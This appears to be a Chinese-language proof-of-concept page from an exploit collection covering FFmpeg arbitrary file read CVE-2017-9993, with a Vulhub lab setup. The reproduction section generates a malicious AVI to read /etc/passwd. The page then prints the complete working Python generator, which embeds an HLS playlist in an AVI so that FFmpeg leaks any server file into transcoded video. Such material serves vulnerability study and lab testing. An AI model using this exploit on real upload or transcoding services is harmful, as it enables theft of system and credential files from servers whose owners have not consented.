Awesome-POC/Web应用漏洞/FFmpeg AVI 任意文件读取漏洞 CVE-2017-9993.md
2025-03-11 11:03:21 +08:00

208 lines
7.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# FFmpeg AVI 任意文件读取漏洞 CVE-2017-9993
## 漏洞描述
FFmpeg 是一个开源的跨平台多媒体框架,提供了处理视频、音频和多媒体文件的功能。
FFmpeg 2.4.14, 2.8.12, 3.0.9, 3.1.9, 3.2.6, 3.3.2 版本之前,未正确限制 HTTP Live Streaming 文件名扩展和解复用器名称,允许攻击者通过精心构造的视频文件来读取服务器上的任意文件。
这个漏洞首次在 PHDays 2017 会议中被提出,它实际上是 [CVE-2016-1897](https://github.com/vulhub/vulhub/blob/aeca367da2660752cf745ed29e00ff0e1d21f720/ffmpeg/CVE-2016-1897) 的不完整修复导致的。FFmpeg 官方修复了 m3u 播放列表中的文件读取和 SSRF 漏洞,但攻击者通过构造恶意的 AVI 文件,类似的漏洞仍然存在于其播放列表中,这导致了 CVE-2017-9993。
参考链接:
- https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/
- https://github.com/neex/ffmpeg-avi-m3u-xbin
- https://www.anquanke.com/post/id/86337
- https://git.ffmpeg.org/gitweb/ffmpeg.git/patch/189ff4219644532bdfa7bab28dfedaee4d6d4021?hp=c0702ab8301844c1eb11dedb78a0bce79693dec7
## 环境搭建
Vulhub 执行如下命令启动一个包含了 FFmpeg 3.2.4 的环境:
```
docker compose up -d
```
环境启动后将监听 8080 端口,访问 `http://your-ip:8080/` 即可查看应用,应用是一个简单的视频播放器,允许用户上传和播放视频。
![](images/FFmpeg%20AVI%20任意文件读取漏洞%20CVE-2017-9993/image-20250311104054722.png)
## 漏洞复现
首先,下载漏洞利用工具并生成恶意 payload
```shell
# 克隆漏洞利用仓库
git clone https://github.com/neex/ffmpeg-avi-m3u-xbin
cd ffmpeg-avi-m3u-xbin
# 生成payload
./gen_xbin_avi.py file:///etc/passwd exp.avi
```
`http://your-ip:8080/` 上传生成的 `exp.avi` 文件。后端将使用 FFmpeg 对上传的视频进行转码,在转码过程中,由于 FFmpeg 的任意文件读取漏洞,文件内容将被嵌入到转码后的视频中:
![](images/FFmpeg%20AVI%20任意文件读取漏洞%20CVE-2017-9993/image-20250311105109128.png)
## 漏洞 POC
生成 `file_read.avi`:
```
python gen_xbin_avi.py file://<filename> file_read.avi
```
上传或在服务器端测试:
```
ffmpeg -i file_read.avi output.mp4
```
`gen_xbin_avi.py`
```python
#!/usr/bin/env python3
import struct
import argparse
import random
import string
AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LISTt\x00\x00\x00strlstrh8\x00\x00\x00txts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x86\x03\x00\x00\x10'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\xa0\x00strf(\x00\x00\x00(\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x01\x00\x18\x00XVID\x00H\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LIST movi"
ECHO_TEMPLATE = """### echoing {needed!r}
#EXT-X-KEY: METHOD=AES-128, URI=/dev/zero, IV=0x{iv}
#EXTINF:1,
#EXT-X-BYTERANGE: 16
/dev/zero
#EXT-X-KEY: METHOD=NONE
"""
# AES.new('\x00'*16).decrypt('\x00'*16)
GAMMA = b'\x14\x0f\x0f\x10\x11\xb5"=yXw\x17\xff\xd9\xec:'
FULL_PLAYLIST = """#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
{content}
#### random string to prevent caching: {rand}
#EXT-X-ENDLIST"""
EXTERNAL_REFERENCE_PLAYLIST = """
#### External reference: reading {size} bytes from {filename} (offset {offset})
#EXTINF:1,
#EXT-X-BYTERANGE: {size}@{offset}
{filename}
"""
XBIN_HEADER = b'XBIN\x1A\x20\x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00'
def echo_block(block):
assert len(block) == 16
iv = ''.join(map('{:02x}'.format, [x ^ y for (x, y) in zip(block, GAMMA)]))
return ECHO_TEMPLATE.format(needed=block, iv=iv)
def gen_xbin_sync():
seq = []
for i in range(60):
if i % 2:
seq.append(0)
else:
seq.append(128 + 64 - i - 1)
for i in range(4, 0, -1):
seq.append(128 + i - 1)
seq.append(0)
seq.append(0)
for i in range(12, 0, -1):
seq.append(128 + i - 1)
seq.append(0)
seq.append(0)
return seq
def test_xbin_sync(seq):
for start_ind in range(64):
path = [start_ind]
cur_ind = start_ind
while cur_ind < len(seq):
if seq[cur_ind] == 0:
cur_ind += 3
else:
assert seq[cur_ind] & (64 + 128) == 128
cur_ind += (seq[cur_ind] & 63) + 3
path.append(cur_ind)
assert cur_ind == len(seq), "problem for path {}".format(path)
def echo_seq(s):
assert len(s) % 16 == 0
res = []
for i in range(0, len(s), 16):
res.append(echo_block(s[i:i + 16]))
return ''.join(res)
test_xbin_sync(gen_xbin_sync())
SYNC = echo_seq(gen_xbin_sync())
def make_playlist_avi(playlist, fake_packets=1000, fake_packet_len=3):
content = b'GAB2\x00\x02\x00' + b'\x00' * 10 + playlist.encode('ascii')
packet = b'00tx' + struct.pack('<I', len(content)) + content
dcpkt = b'00dc' + struct.pack('<I',
fake_packet_len) + b'\x00' * fake_packet_len
return AVI_HEADER + packet + dcpkt * fake_packets
def gen_xbin_packet_header(size):
return bytes([0] * 9 + [1] + [0] * 4 + [128 + size - 1, 10])
def gen_xbin_packet_playlist(filename, offset, packet_size):
result = []
while packet_size > 0:
packet_size -= 16
assert packet_size > 0
part_size = min(packet_size, 64)
packet_size -= part_size
result.append(echo_block(gen_xbin_packet_header(part_size)))
result.append(
EXTERNAL_REFERENCE_PLAYLIST.format(
size=part_size,
offset=offset,
filename=filename))
offset += part_size
return ''.join(result), offset
def gen_xbin_playlist(filename_to_read):
pls = [echo_block(XBIN_HEADER)]
next_delta = 5
for max_offs, filename in (
(5000, filename_to_read), (500, "file:///dev/zero")):
offset = 0
while offset < max_offs:
for _ in range(10):
pls_part, new_offset = gen_xbin_packet_playlist(
filename, offset, 0xf0 - next_delta)
pls.append(pls_part)
next_delta = 0
offset = new_offset
pls.append(SYNC)
return FULL_PLAYLIST.format(content=''.join(pls), rand=''.join(
random.choice(string.ascii_lowercase) for i in range(30)))
if __name__ == "__main__":
parser = argparse.ArgumentParser('AVI+M3U+XBIN ffmpeg exploit generator')
parser.add_argument(
'filename',
help='filename to be read from the server (prefix it with "file://")')
parser.add_argument('output_avi', help='where to save the avi')
args = parser.parse_args()
assert '://' in args.filename, "ffmpeg needs explicit proto (forgot file://?)"
content = gen_xbin_playlist(args.filename)
avi = make_playlist_avi(content)
output_name = args.output_avi
with open(output_name, 'wb') as f:
f.write(avi)
```
## 漏洞修复
升级至安全版本。